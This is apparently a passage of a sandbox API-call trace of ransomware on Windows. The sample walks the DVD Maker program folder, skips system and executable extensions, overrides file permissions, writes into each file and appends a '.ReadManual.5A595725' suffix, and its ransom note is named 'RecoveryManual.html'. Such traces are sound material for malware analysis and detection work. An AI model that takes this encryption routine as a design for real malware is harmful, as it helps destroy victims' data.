Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.ReadManual.5A595725") returned 100 [0253.729] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37439809652) returned 1 [0253.729] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png")) returned 0x20 [0253.730] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.730] GetLastError () returned 0x5 [0253.730] GetNamedSecurityInfoW () returned 0x0 [0253.730] SetNamedSecurityInfoW () returned 0x0 [0253.730] SetNamedSecurityInfoW () returned 0x0 [0253.731] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.731] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=7946) returned 1 [0253.731] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f0a, lpName=0x0) returned 0x1a0 [0253.731] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0253.732] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.732] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.742] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.742] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f0a) returned 0x2f0000 [0253.742] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.742] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37441111839) returned 1 [0253.742] CloseHandle (hObject=0x1a0) returned 1 [0253.742] SetSecurityInfo () returned 0x5 [0253.743] SetSecurityInfo () returned 0x5 [0253.743] LocalFree (hMem=0x674d38) returned 0x0 [0253.743] CloseHandle (hObject=0x184) returned 1 [0253.743] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0253.743] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_image-frame-ImageMask.png" | out: lpString1="Pets_image-frame-ImageMask.png") returned="Pets_image-frame-ImageMask.png" [0253.743] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="RecoveryManual.html") returned -1 [0253.743] StrStrIW (lpFirst="Pets_image-frame-ImageMask.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.743] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.743] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.743] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.743] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.743] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.743] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.743] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" [0253.743] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.ReadManual.5A595725" [0253.743] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.ReadManual.5A595725") returned 103 [0253.743] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37441225782) returned 1 [0253.744] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png")) returned 0x20 [0253.744] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.745] GetLastError () returned 0x5 [0253.745] GetNamedSecurityInfoW () returned 0x0 [0253.745] SetNamedSecurityInfoW () returned 0x0 [0253.745] SetNamedSecurityInfoW () returned 0x0 [0253.746] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.746] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4422) returned 1 [0253.746] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1146, lpName=0x0) returned 0x1a0 [0253.746] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0253.747] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.747] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.748] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.749] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1146) returned 0x2f0000 [0253.749] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.749] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37441759604) returned 1 [0253.749] CloseHandle (hObject=0x1a0) returned 1 [0253.749] SetSecurityInfo () returned 0x5 [0253.749] SetSecurityInfo () returned 0x5 [0253.749] LocalFree (hMem=0x674d38) returned 0x0 [0253.749] CloseHandle (hObject=0x184) returned 1 [0253.754] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0253.754] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_notes-txt-background.png" | out: lpString1="Pets_notes-txt-background.png") returned="Pets_notes-txt-background.png" [0253.754] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="RecoveryManual.html") returned -1 [0253.754] StrStrIW (lpFirst="Pets_notes-txt-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.754] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.754] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.754] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.754] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.755] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.755] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.755] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.755] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.755] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.755] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.755] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.755] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.755] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.755] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.755] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" [0253.755] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.ReadManual.5A595725" [0253.755] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.ReadManual.5A595725") returned 102 [0253.755] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37442367845) returned 1 [0253.755] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0253.755] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.755] GetLastError () returned 0x5 [0253.755] GetNamedSecurityInfoW () returned 0x0 [0253.756] SetNamedSecurityInfoW () returned 0x0 [0253.756] SetNamedSecurityInfoW () returned 0x0 [0253.757] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.757] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=7888) returned 1 [0253.757] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ed0, lpName=0x0) returned 0x1a0 [0253.757] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0253.757] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.757] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.759] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.759] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ed0) returned 0x2f0000 [0253.759] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.760] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37442831796) returned 1 [0253.760] CloseHandle (hObject=0x1a0) returned 1 [0253.760] SetSecurityInfo () returned 0x5 [0253.760] SetSecurityInfo () returned 0x5 [0253.760] LocalFree (hMem=0x674d38) returned 0x0 [0253.760] CloseHandle (hObject=0x184) returned 1 [0253.760] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0253.760] lstrcpyW (in: lpString1=0x6ab906, lpString2="rollinghills.png" | out: lpString1="rollinghills.png") returned="rollinghills.png" [0253.760] lstrcmpiW (lpString1="rollinghills.png", lpString2="RecoveryManual.html") returned 1 [0253.760] StrStrIW (lpFirst="rollinghills.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.760] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.760] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.760] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.760] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.760] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.760] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.760] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" [0253.760] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.ReadManual.5A595725" [0253.761] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.ReadManual.5A595725") returned 89 [0253.761] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37442933925) returned 1 [0253.761] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0253.761] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.761] GetLastError () returned 0x5 [0253.761] GetNamedSecurityInfoW () returned 0x0 [0253.761] SetNamedSecurityInfoW () returned 0x0 [0253.761] SetNamedSecurityInfoW () returned 0x0 [0253.762] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.762] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=16842) returned 1 [0253.762] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41ca, lpName=0x0) returned 0x1a0 [0253.762] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0253.763] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.763] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.764] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.765] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41ca) returned 0x2f0000 [0253.765] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.765] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37443380456) returned 1 [0253.765] CloseHandle (hObject=0x1a0) returned 1 [0253.765] SetSecurityInfo () returned 0x5 [0253.765] SetSecurityInfo () returned 0x5 [0253.765] LocalFree (hMem=0x674d38) returned 0x0 [0253.765] CloseHandle (hObject=0x184) returned 1 [0253.765] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0253.765] lstrcpyW (in: lpString1=0x6ab906, lpString2="Scenes_INTRO_BG.wmv" | out: lpString1="Scenes_INTRO_BG.wmv") returned="Scenes_INTRO_BG.wmv" [0253.765] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="RecoveryManual.html") returned 1 [0253.765] StrStrIW (lpFirst="Scenes_INTRO_BG.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.766] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.766] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.766] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" [0253.766] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.ReadManual.5A595725" [0253.766] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.ReadManual.5A595725") returned 92 [0253.766] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37443477056) returned 1 [0253.766] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0253.766] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.766] GetLastError () returned 0x5 [0253.766] GetNamedSecurityInfoW () returned 0x0 [0253.767] SetNamedSecurityInfoW () returned 0x0 [0253.767] SetNamedSecurityInfoW () returned 0x0 [0253.768] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.768] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=253226) returned 1 [0253.768] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dd2a, lpName=0x0) returned 0x1a0 [0253.768] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0253.768] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.768] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.770] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.770] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dd2a) returned 0x2690000 [0253.800] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.801] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37447017307) returned 1 [0253.801] CloseHandle (hObject=0x1a0) returned 1 [0253.802] SetSecurityInfo () returned 0x5 [0253.802] SetSecurityInfo () returned 0x5 [0253.802] LocalFree (hMem=0x674d38) returned 0x0 [0253.802] CloseHandle (hObject=0x184) returned 1 [0253.807] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, 